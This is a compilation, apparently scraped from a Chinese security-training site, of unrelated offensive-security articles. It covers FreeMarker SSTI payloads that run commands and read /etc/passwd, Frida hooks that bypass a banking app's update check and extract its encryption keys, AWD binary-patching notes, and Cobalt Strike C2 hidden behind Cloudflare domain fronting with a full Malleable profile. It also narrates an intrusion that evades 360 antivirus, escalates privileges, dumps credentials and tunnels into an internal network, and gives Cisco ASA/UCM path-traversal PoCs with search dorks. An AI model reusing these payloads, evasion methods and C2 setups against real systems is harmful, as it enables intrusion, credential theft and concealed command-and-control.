POC4
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("Calc") }
读取文件
<#assign is=object?api.class.getResourceAsStream("/Test.class")>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]
从 2.3.17版本以后,官方版本提供了三种TemplateClassResolver对类进行解析: 1、UNRESTRICTED_RESOLVER:可以通过 ClassUtil.forName(className) 获取任何类。
2、SAFER_RESOLVER:不能加载 freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor这三个类。 3、ALLOWS_NOTHING_RESOLVER:不能解析任何类。 可通过freemarker.core.Configurable#setNewBuiltinClassResolver方法设置TemplateClassResolver,从而限制通过new()函数对freemarker.templ
FreeMarker SSTI 修复
因为 FreeMarker 不能直接传参打,所以此处的代码参考奶思师傅。
package freemarker;
import freemarker.cache.StringTemplateLoader;
import freemarker.core.TemplateClassResolver;
import freemarker.template.Configuration;
import freemarker.template.Template;
import java.io.IOException;
import java.io.OutputStreamWriter;
import java.io.StringWriter;
import java.util.HashMap;
public class freemarker_ssti {
public static void main(String[] args) throws Exception {
//设置模板
HashMap<String, String> map = new HashMap<String, String>();
String poc ="<#assign aaa=\"freemarker.template.utility.Execute\"?new()> ${ aaa(\"open -a Calculator.app\") }";
System.out.println(poc);
StringTemplateLoader stringLoader = new StringTemplateLoader();
Configuration cfg = new Configuration();
stringLoader.putTemplate("name",poc);
cfg.setTemplateLoader(stringLoader);
//cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
//处理解析模板
Template Template_name = cfg.getTemplate("name");
StringWriter stringWriter = new StringWriter();
Template_name.process(Template_name,stringWriter);
}
}
防御成功
0x03 小结
比较其他两个模板引擎来说,FreeMarker 的 SSTI 更为严格一些,它的防护也做的相当有力,这个给自己挖个小坑吧,后续去看一看 FreeMarker 的代码当中是否存在强而有力的 bypass payload。
一次金融APP的解密历程
前言:
客户仅提供官网下载地址给我们测试。但是由于官网的版本不是最新的,APP会强制你升级。而升级后的APP,是进行加固后的,无法使用frida进行hook,注入进程。那同样也无法使用SSL Unpinning进行限制客户端校验证书。新版app使用查壳软件显示未加壳,但是查看源代码明显少了很多代码,且很多都是变量声明而已。
绕过更新:
我们要想能对APP渗透测试,一般都是需要抓包和解密的。首先使用burp进行抓包代理,官网版本的APP(以下统称旧版APP),是可以轻松抓到APP的包的(该条请求为检验APP最新版本的请求)。但是内容使用了加密,具体什么加密是不得而知。
获取到请求密文:
vVAK0jos5eT9gmQJaHOaYbqZ1mgXoBH3bee3MTF3G5wNRHRoPPOYokZLT4MQqaPDN%2BLeEYpIzzDJeErDHcDfhY8muosLfOaw35W3BuCxDNtuNFB86RumMBtOcQXT08qw
响应包未json,urldecode后为:
{"duration":"0ms","note":"","code":1,"resultDES":"UX/jHk6yqix2yxZIrf0rSIuOjCy6oGxjCPUfBL2avG+DWy/++NW16+YQHVFQ+Nj2w9VOWGcH4OxFtGxbR6K7I6pY0Q9hkP9gc0K0JLZ5O+PwOW72nzissCiLG+cHqadKHzkPOQDdBUuBoa4W1Jz7fQ=="}
通过desStr和resultDES,一开始我猜测他为des加密,具体是不是,后续再说。
先进入APP,但是一进入APP就提示更新:
通过前言,我们知道是不能更新的。(当然不乏某些技术大佬也可以把新版APP搞定,我技术有限,感觉旧版的比较容易搞)。那我们就明确了目标,要先绕过更新校验。
对于不了解hook**和frida的同学,我这边推荐先去网上了解下,还有安装之类的,再来看此篇文章。
首先我们明确一下思路,要怎么绕过这个更新校验呢?
(1)直接反编译,修改APP的版本信息为99.99之类的;
(2)通过修改版本验证请求,使用http层面去绕过;
(3)使用hook,去重写更新函数,或者绕过更新函数;
第一点要app能支持反编译且不存在校验签名。第二点要能知道加密密文的密钥。所以我选择第三种:
通过jadx搜索更新,发现了两处,成功获取到源代码。
类名分别为:com.xxxx.AppUpdate和com.xxxx.WelcomeActivity,通过代码审计可以看到,是先调用的WelcomeActivity,WelcomeActivity再去调用的AppUpdate:
跟踪进入AppUpdate,调用的checkNativeAppVersion():
通过上述代码,我们可以看到,这边就是用于判断是否升级的函数。
public void onResponse(Call call, Response response) throws IOException {
try {
JSONObject jSONObject = new JSONObject(C.s2(new JSONObject(URLDecoder.decode(response.body().string(), DataUtil.UTF8)).getString("resultDES"), Config.WHITE_KEY, Config.IV.getBytes()));
if (jSONObject.optInt("code", -1) > 0) {
JSONObject optJSONObject = jSONObject.optJSONObject("object");
if (optJSONObject == null) {
return;
}
if (WakedResultReceiver.CONTEXT_KEY.equals(optJSONObject.optString("isUpdate", ChatConfig.CARD_TYPE))) {
nativeAppVersionInterface.updateApp(optJSONObject.optString("desc", "当前有新版本,是否需要更新"), optJSONObject.optString(ClientCookie.VERSION_ATTR, ""));
} else {
nativeAppVersionInterface.noUpdateApp();
}
} else {
nativeAppVersionInterface.showError(jSONObject.optString("note"));
}
} catch (JSONException e) {
e.printStackTrace();
nativeAppVersionInterface.showError(e.getMessage());
}
}
当JSONObject.optInt("code", -1) > 0时,是会去进行升级的,否则则执行nativeAppVersionInterface.noUpdateApp()。
这边分析完后,其实我们就可以写js进行hook操作了。
我们的hook思路可以这样设置了:
重写checkNativeAppVersion函数,执行执行nativeAppVersionInterface.noUpdateApp()。
Ps:因为我一开始直接重写了checkNativeAppVersion,只执行了console.log(“enter checkNativeAppVersion”),没有对APP进行启动,这样就会直接卡死在启动页。
附上js代码:
if(Java.available){
console.log('success');
Java.perform(function(){
var appUpdate = Java.use("com.xxxx.AppUpdate");
appUpdate.checkNativeAppVersion.implementation = function(a,b,c,d,e,f){
console.log("enter AppUpdate");//判断是否进入该hook函数,进入会执行该命令
f.noUpdateApp();//直接执行不需要更新函数,APP会自动进入
}
});
}
使用命令:frida -U -l .\xxx.js -f 包名 --no-pause
成功进入:
解密:
已经成功进入该APP,但是如果想成功进行渗透测试的话,还需要能解开APP的加密。通过des字段,初步判断为des加密,再回头看看刚刚更新的那个请求,是有用c.s2()函数进行操作的,大概率s2就是解密函数。
JSONObject jSONObject = new JSONObject(C.s2(new JSONObject(URLDecoder.decode(response.body().string(), DataUtil.UTF8)).getString("resultDES"), Config.WHITE_KEY, Config.IV.getBytes()));
可以看到s2的三个参数,即前面响应包中的json字段里面的resultDES参数,然后其次是Config.WHITE_KEY, Config.IV两个参数,其中Config.IV是以字节数组的形式进行传参的。通过跳转可以看到配置文件的参数。
然后呢,因为获取到密钥和偏移量iv,这样的话des就可以解了。但是问题是解不开。后续的思路就是如果可以直接hook这两个加解密函数的话,是不是就可以不用管他的加解密了。
s1和s2函数不在java层,那我们就需要hook native层的代码。Hook so文件。首先我们先把安装包后缀apk改成zip,然后解压。就可以找到wkb-1.2.2.so的文件了。(路径为lib/arm64-v8a/wkb-1.2.2.so,前面的arm64根据自己测试机的CPU架构进行选择。)直接用ida打开,在导出函数里面搜索des:
里面有很多des的相关函数。可使用以下js进行hook导出函数:
if(Java.available){
console.log('success');
Java.perform(function(){
var point = Module.findExportByName("libwkb-1.2.2.so","desDecryptByteArray");
Interceptor.attach(point,{
onEnter: function(args){
console.log("Hook start");
console.log("args[0]=" + args[0]); //打印我们java层第一个传入的参数
console.log("args[1]=" + args[1]); //打印我们java层传入的第二个参数
},
onLeave: function(retval){ //onLeave: function(retval)是该函数执行结束要执行的代码,其中retval参数即是返回值
console.log("return:" + retval); //打印返回值
}
});
});
}
但是这边很奇怪的是,通过函数findExportByName找到的地址都是为null,一开始以为是还没加载到so文件,但是后续进入APP后还是一样为null。(有知道的大佬可以说下)
这就比较蛋疼了,得手动计算地址。首先先获取so文件的地址,看能不能获取到,若不行,则表示未加载so文件。
var soAddr = Module.findBaseAddress("libwkb-1.2.2.so");
console.log("soAddr:" + soAddr);
有地址出来,说明so文件是存在的,可以正常调用。那么这边就要去计算函数偏移量。之前在网上看到别人的一个公式:
函数地址=so**初始地址+函数偏移量+1**
但是我后面尝试了好几个,好像不同手机不同的计算方法,也可能我操作的有问题。我这边的函数地址就是:
函数地址=so**初始地址+函数偏移量**
不用加一。我自己是用这个方法测试计算的:找到一个导出函数可以被查询到的,比如我这边使用的就是JNI_OnLoad函数:
获取JNI_OnLoad的地址为0x79d5d7883c,然后使用这个地址减去so的地址:
0x79d5d7883c − 0x79d5d67000 = 1183c
差值刚好为JNI_OnLoad的偏移量,所以我这边就不用再进行加一操作了。
这样我们就可以成功hook任意函数了。通过我一个个尝试发现,以下函数一个都没调用过:
然后呢,我查找了s2函数的用例,发现被decodeSm4的函数调用过。
我就尝试了一下,hook了sm4EncryptByteArr:
附上js:
var soAddr = Module.findBaseAddress("libwkb-1.2.2.so");
var point = soAddr.add(0x136f0);
Interceptor.attach(point,{
onEnter: function(args){
console.log("Hook start");
console.log("args[0]=" + args[0]); //打印我们java层第一个传入的参数
console.log("args[2]=" + Java.vm.getEnv().getStringUtfChars(args[2], null).readCString()); //打印我们java层传入的第三个参数
console.log("args[3]=" + Java.vm.getEnv().getStringUtfChars(args[3], null).readCString()); //打印我们java层传入的第四个参数
},
onLeave: function(retval){ //onLeave: function(retval)是该函数执行结束要执行的代码,其中retval参数即是返回值
console.log("return:" + Java.vm.getEnv().getStringUtfChars(retval, null).readCString()); //打印返回值
// retval.replace(0); //替换返回值为0
// return retval;
}
});
Ps:通过ida里面的参数,我们可以看到第二个参数为类,我们就没给他打印出来。
我人傻了,一开始的des字眼和偏移量这些都符合des的加密方式,误导了我好久,一直往des方向去找。
尾声:
其实很早我就已经解密成功了,直接通过java层,刚刚发现调用s2的decodeSm4函数,直接hook那边即可成功获取请求和响应的明文:
但是若通过js去操作修改数值,实在太麻烦了,要获取密钥和加密方式,通过脚本自动去加解密,所以我才会去hook native层,获取到密钥。因为上述密钥Config.WHITE_KEY,其实是还有一层加密的,通过hook decodeWhiteKey函数的返回值,成功获取了密钥。
其实后续我也尝试去修改版本号绕过,但是事实证明,代码存在验签:
可以看到,把版本号修改为99.9.99,成功绕过了更新检测,但是他还存在一个盗版验签检测:
验签代码一样需要用hook去绕过。所以前面说的方法一也是行不通的。然后我又突发奇想,有没有可能他密文里面就包含版本信息,那如果我使用99.9.99的版本,抓取密文,然后再安装旧版APP,在他去请求版本更新时,替换密文,是不是可以绕过呢?经过尝试,结果是:可以。他的版本校验就是在服务端,这种方法也可以绕过。
总结:
不用轻易相信别人留下的信息,还是得根据自己的分析得出结论。其实后续我一直在想为什么那个字段是des呢,感觉之前是des加密,后续金融行业都进行了国密改造,然后字段并未更改,导致这种现象,当然只是猜测。至此,已完成对这APP的抓包和加解密。
AWDPwn 漏洞加固总结
AWD简介
AWD(Attack With Defense,攻防兼备) 模式需要在一场比赛里要扮演攻击方和防守方,利用漏洞攻击其他队伍进行得分,修复漏洞可以避免被其他队伍攻击而失分。也就是说,攻击别人的靶机可以获取 Flag 分数时,别人会被扣分,同时也要保护自己的主机不被别人攻陷而扣分。
Patch-PWN
各家 awd 平台检查机制各不相同,原则上是只针对漏洞点进行 patch 加固,也就是最小修改加固。以下总结不需要改动文件大小、针对漏洞点进行 patch 的几种漏洞类型。
Patch资料
跳转指令
无符号跳转
汇编指令描述JA无符号大于则跳转JNA无符号不大于则跳转JAE无符号大于等于则跳转(同JNB)JNAE无符号不大于等于则跳转(同JB)JB无符号小于则跳转JNB无符号不小于则跳转JBE无符号小于等于则跳转(同JNA)JBNE无符号不小于等于则跳转(同JA)
有符号跳转
汇编指令描述JG有符号大于则跳转JNG有符号不大于则跳转JGE有符号大于等于则跳转(同JNL)JNGE有符号不大于等于则跳转(同JL)JL有符号小于则跳转JNL有符号不小于则跳转JLE有符号小于等于则跳转(同JNG)JNLE有符号不小于等于则跳转(同JG)
Patch-整数溢出
Scanf 以 long int 长整形读取输入到 unsigned int 变量 v2 中,然后将 v2 强制转为 int 再与int 48 比较。
但从 scanf 读入一个负数时,最高位为 1 ,从 unsigned int 强制转换为 int 结果是负数,必定比 48 小,在后面 read 读入会造成栈溢出。
Patch方法
将第 9 行的 if 跳转汇编指令 patch 为无符号的跳转指令。
使用 keypatach 进行修改:
jle --> jbe
Patch-栈溢出
对于栈溢出加固,x64 更容易一些,因为是使用寄存器传参,而x86 使用栈传参,需要用 nop 等保持加固前后的空间不变。
x64
Patch方法
100 是第三个参数,存储寄存器是 rdx ,找到给 rdx 传参的汇编指令进行 patch
使用 ida 默认修改插件修改(Edit-Patch Program-Change word),也可以用 keypatach :
0x64 是长度
0xBA 是操作符
0x64 --> 0x20
x86
不需要对齐
找到压栈的指令,修改压入的数值
修改数值需要补上 0x
这里修改前 size 为 2 ,修改后 size 也为 2 ,所以这题 patch 不需要用 nop 保持 size
需要对齐
找到压栈的指令,修改压入的数值
直接修改 0x20 后,size 长度不对齐,会引起栈空间变化,需要用 nop 进行对齐:
更方便快捷方法是勾选 NOPs padding until next instruction boundary 进行自动填充。
Patch-格式化字符串
修改函数
将 printf 改为 puts ,将 call 的地址改为 puts plt 地址:
这个方法局限性在于:puts 会在原字符串多加 \n ,主办方 check 可能会因此而不通过
修改printf参数
将 printf(format) 修改为 printf("%s",format)
修改 printf 前面的传参指令:
mov edi, offset 0x400c01;mov esi,offset format;
Patch-UAF
修改逻辑是劫持 call 指令跳转到 .eh_frame 段上写入的自定义汇编程序。
先在 .eh_frame 段上写入代码,首先是 call free 完成释放,然后对 chunk_list 进行置零。取 chunk_list 地址的汇编可以从 call free 前面抄过来:
call 0x900; #调用free函数(plt地址)mov eax, [rbp-0xc]; #取出下标值cdqe;lea rdx, ds:0[rax*8];lea rax, qword ptr [heap];mov r8,0; #段地址不能直接赋予立即数mov [rdx+rax],r8;jmp 0xD56; #跳回原来的地址
Patch-if范围
假设需要将图上第二个 if 放到 if 结构内,修改跳转的地址即可:
原始跳转代码:
js 0x40081C --> js 0x400845
Patch-更换危险函数
类似与 uaf 一样写汇编实现功能调用,将危险函数替换为其他函数,如果程序中没有目标函数,就通过系统调用方式调用。
将 gets 替换为 read 输入
.eh_frame 写入汇编,将 rdi 的写入地址移动到 rsi ,把其他寄存器也传参之后进行系统调用:
域前置技术和C2隐藏
域前置介绍
域前置又译为域名幌子,是一种隐藏连接真实端点来规避审查的技术。在应用层上运作时,域前置使用户能通过HTTPS连接到被屏蔽的服务,而表面上像在与另一个完全不同的站点通信。
域前置工作原理
域前置核心就是CDN,可以通过添加 A 记录或 AAAA 记录解析的方式将网站域名指向网站服务器公网 IP 地址,来实现用户可以通过域名直接访问已部署在服务器上的网站,而无需使用难记且无明显标识的 IP 地址访问。CDN能够对域名进行加速,当对某个域名进行访问时,并不会直接解析到IP,因此可以给攻击VPS申请一个CDN加速服务,从而达到隐藏IP的效果
CDN工作原理
CDN又叫内容分发网络(Content Delivery Network)
当用户访问域名时,先请求LDNS(即本地dns),如果有缓存会返回给用户ip地址,如果LNDS无缓存即向授权DNS请求,授权DNS解析域名返回别名域名,域名解析请求发送至公有云DNS调度系统,则会分配最佳节点ip地址,LDNS会缓存该IP地址,用户根据该ip地址请求资源,节点ip隐藏了真实ip的地址。
搭建过程
这里选择腾讯云的域名
先实名后注册,注册时间可能比较久,在腾讯云服务器上,根据申请的域名添加解析记录。
域名备案,实际上国内的备案了之后Redteam已无法使用了。
注册 cloudflare
https://www.cloudflare.com/zh-cn/进入后添加站点
输入申请的域名别名,选择免费即可
继续
这里会对域名的A记录和CNAME自动进行检测
这个时候邮箱会收到cloudflare的邮件。
修改dns记录,域名注册->我的域名->概览位置修改dns
然后等待dns刷新即可,此时我们ping一下我们的域名发现,解析后的ip地址不是真实的ip地址。
ip地址为cloudflare的ip
nslookup查询
SSL/TLS
如果要实现https加密需要下载配置c2证书
下载证书
在VPS需重新生成cs的配置文件cobalstrike.store
C2配置隐藏
项目地址
https://github.com/rsmudge/Malleable-C2-Profilesset sleeptime "5000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko";
http-get {
set uri "/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books";
client {
header "Accept" "*/*";
header "Host" "www.xxx.xxx"; #配置自己的根域名不是别名
metadata {
base64;
prepend "session-token=";
prepend "skin=noskin;";
append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996";
header "Cookie";
}
}
server {
header "Server" "Server";
header "x-amz-id-1" "THKUYEZKCKPGY5T42PZT";
header "x-amz-id-2" "a21yZ2xrNDNtdGRsa212bGV3YW85amZuZW9ydG5rZmRuZ2tmZGl4aHRvNDVpbgo=";
header "X-Frame-Options" "SAMEORIGIN";
header "Content-Encoding" "gzip";
output {
print;
}
}
}
http-post {
set uri "/N4215/adj/amzn.us.sr.aps";
client {
header "Accept" "*/*";
header "Content-Type" "text/xml";
header "X-Requested-With" "XMLHttpRequest";
header "Host" "www.xxx.xxx"; #配置自己的根域名不是别名
parameter "sz" "160x600";
parameter "oe" "oe=ISO-8859-1;";
id {
parameter "sn";
}
parameter "s" "3717";
parameter "dc_ref" "http%3A%2F%2Fwww.amazon.com";
output {
base64;
print;
}
}
server {
header "Server" "Server";
header "x-amz-id-1" "THK9YEZJCKPGY5T42OZT";
header "x-amz-id-2" "a21JZ1xrNDNtdGRsa219bGV3YW85amZuZW9zdG5rZmRuZ2tmZGl4aHRvNDVpbgo=";
header "X-Frame-Options" "SAMEORIGIN";
header "x-ua-compatible" "IE=edge";
output {
print;
}
}
}
启动服务端,调用配置文件
./teamserver cs服务端ip password config.profile
生成监听
保存
生成64位的应用程序
成功上线
TIPS
实名注册的腾讯云域名的话是有备案的,所以这里的话建议选择国外的服务器注册域名。
记一次详细的实战渗透
前言
一次授权的渗透测试,过程比较详细,充满了巧合,也算比较有意思直接记录一下,图片打码比较严重,应该是不影响阅读!!!!
前端RCE
信息搜集拿到的资产,通过序列化实现的RCE,但是这里只能执行命令并不能上传等操作,并且服务器还有杀软,所以互联网实现RCE需要做免杀。
http://xxx.xxx.xxx.xxx:xxxx这个不用多说了直接上工具就ok了,这里是windwos系统并不能反弹,所以使用命令上线CS还是可以的。
cs起监听,生成hta文件。
生成的hta文件是没有原生的木马,这里基本上常见的杀软都是过不掉的,所以这里需要做免杀,因为一般的上线方式也都尝试过了,powershell等方式也都不行,有杀软的情况下一般poweshell的执行都会被拦掉,所以这里使用mstha上线,免杀的思路之前的文章CS免杀姿势可以看到,总的来讲思路大差不差。
之前的文章中没有介绍进程注入的免杀手段,如果说一般钓鱼的话使用进程注入的免杀手段是为了避免进程被提前终止或者因为关联的进程树被终止导致CS的连接断掉,mstha上线本来就是弹窗执行,针对服务器的话根本不需要考虑这种情况。
上传到web服务器。
上传免杀后的hta文件,选择一个端口,避免端口冲突。
执行命令
目标服务器成功上线。
发现使用的杀软为360杀毒,简单的加壳是过了360安全卫士的,但是被是杀掉了,所以混淆之后的文件特征且加壳是过杀毒的,360杀毒和安全卫士使用的肯定是同一个病毒库,为什么过了安全卫士杀毒过不掉杀毒,刚开始我以为360杀毒确实比360安全卫士np,后来问过做jinshan杀毒的大佬之后了解到,因为360的病毒库确实大,在文件落地的时候可能会出现检测不到病毒特征的情况,所以说查杀确实存在玄学问题。
虽然是administrator还是获取不到用户名密码,提权。
kill掉360杀毒的进程,提权。
winserver 2008,直接土豆提权,获取system权限。
获取凭证拿到administrator的密码,其实这里也可以直接该密码的。
shell net user administrator xxxxxxxx
这里因为能提权还是算了。
内网穿透
做隧道的时候看个人习惯,比如说frp、proxy-admin、nps等,这里还是根据情况选择,frp做穿透配置文件要求直接写死,修改端口比较麻烦;proxy-admin做穿透,不支持socks协议,仅支持tcp、http、udp协议,等等。所以我个人还是比较喜欢使用nps的,上线之后隧道随意搭建即可。
新增客户端之后,目标服务器上传客户端和配置文件。
目标服务器上线。
搭建隧道即可,查询RDP开放情况。
利用tcp隧道端口转发。
连接远程桌面。
这里有向日葵是一直开放的进程,也获取到了向日葵的控制码,但是不建议连接向日葵,目前版本的向日葵因为需要登录连接,连接的时候会显示主机名,且这个日志官方是有的,我这里是授权的,非授权的情况下是完全可以溯源的。
查询RDP连接记录,发现一台机器可直接远程桌面。
另一台服务器权限拿到,但是不出网。
转发上线
因为不出网转发上线,第二服务器,这里称为B,关闭B的杀软和防火墙。
上传exe,执行,实现转发上线。
发现B为A的数据库服务器,且内网有报表系统,但是没有用户和密码,而后发现有意思的一点儿是,这台服务器上有。
套账解码工具,管理员可能也经常忘记密码吧,解码获取内网报表的系统账号。
内网系统端口转发出来,走http代理,成功登录系统。
内网扫描
这里使用了几种工具做的内网扫描,扫描了10的A段和192、172的A段。
总结
整体来说难度不大,没有域,难点在免杀,能拿报表系统是巧合,转发上线没意外,似乎内网环境比较大,但是在进行端口扫描的时候发现无端口开放情况,且不同的工具探测到的存活主机数目也不相同,可能是DMZ区也说不定,但是也没探测到该段有任何安全设备,这个是比较奇怪的地方。文件都比较老了都是几年前的数据,这里可能服务器已经很早就做了隔离,但是能拿到的数据和能拿到的权限都已经拿到了,可以结束了。
CISCO设备信息泄漏漏洞案例2
前言
上一篇文章介绍了cisco路由器设备的2个漏洞案例,这次补充cisco ip电话设备和安全设备的漏洞案例。
CISCO-UCM ConfigFileCacheList.txt 泄漏
CISCO-UCM 全称Cisco Unified Communications Manager,是用于集成CISCO的语音视频通话、消息传递和移动协作的基础设施
部分 CUCM 服务器在端口 TCP/6970 上有一个 HTTP 服务,其中存在 ConfigFileCacheList.txt 文件,包含位于 TFTP 目录中的所有文件名
fofa语句
product=="CISCO-UCM"
shodan语句
http.html:"Cisco Unified Communications Manager"
payload
x.x.x.x:6970/ConfigFileCacheList.txt
在目标文件中包含了许多SEP开头的文件,那是ip电话的配置文件,sep后面接的是mac地址
可以遍历下载这个ConfigFileCacheList.txt文件内容中的所有文件
在下载的配置文件中,包含ip,描述,端口等配置信息
甚至有的还会包含明文的账号密码
可以用egrep批量查找
egrep -r 'Password' *.xml
在配置文件中获得了账号密码后,可以尝试登录UCM的web后台
当然这个 ConfigFileCacheList.txt 泄漏比较少见,如果遇到UCM可以试试访问/cucm-uds/users路径,可以泄漏用户名信息,再针对用户名进一步爆破弱口令
CVE-2018-0296 Cisco ASA 目录遍历漏洞
Cisco ASA是思科的防火墙设备,一般用于在企业边界,包含了ips,avc,wse等应用功能。
fofa语句
app="CISCO-ASA-5520"
根据文章 https://www.anquanke.com/post/id/171916 中的描述,CVE-2018-0296在不同型号设备上存在2种利用场景,一种是拒绝服务造成设备崩溃重启,一种是目录遍历获得敏感信息
在修复方案中则是增加了对./和../的处理逻辑,以防止目录遍历
拒绝服务这里就不具体测试了,主要看下目录遍历的利用
检测poc
/+CSCOU+/../+CSCOE+/files/file_list.json
注意,类似的poc不能在浏览器里直接粘贴访问,因为浏览器会自动将访问的路径类似/../解析为上一级目录,也就是访问的为/+CSCOE+/files/file_list.json
列出 /sessions 目录的内容
/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions
提取登录用户的登录信息
/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/[name]
CVE-2020-3452 Cisco ASA 目录遍历漏洞
CVE-2020-3452漏洞可以在未验证的情况下进行任意文件读取
该漏洞源于 ASA 和 FTD 的 web 服务接口在处理 HTTP 请求的 URL 时缺乏正确的输入验证,导致攻击者可以在目标设备上查看系统内的web目录文件。
此漏洞不能用于获取对 ASA 或 FTD 系统文件或底层操作系统 (OS) 文件的访问,所以只能读取 web 系统目录的文件,比如 webvpn 的配置文件、书签、网络 cookies、部分网络内容和超文本传输协议网址等信息。
作者在推特分享的检测poc
https://twitter.com/aboul3la/status/1286141887716503553/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua
/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../
读取 /+CSCOE+/portal_inc.lua 文件
至于进一步利用,有研究人员给出了一些已知文件列表
https://twitter.com/HackerGautam/status/1286652700432662528https://raw.githubusercontent.com/3ndG4me/CVE-2020-3452-Exploit/master/cisco_asa_file_list.txt不过实际测试,除了session.js 跑出了一个乱码的内容以外,其他的文件多是一些资源文件,难以进一步利用。
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

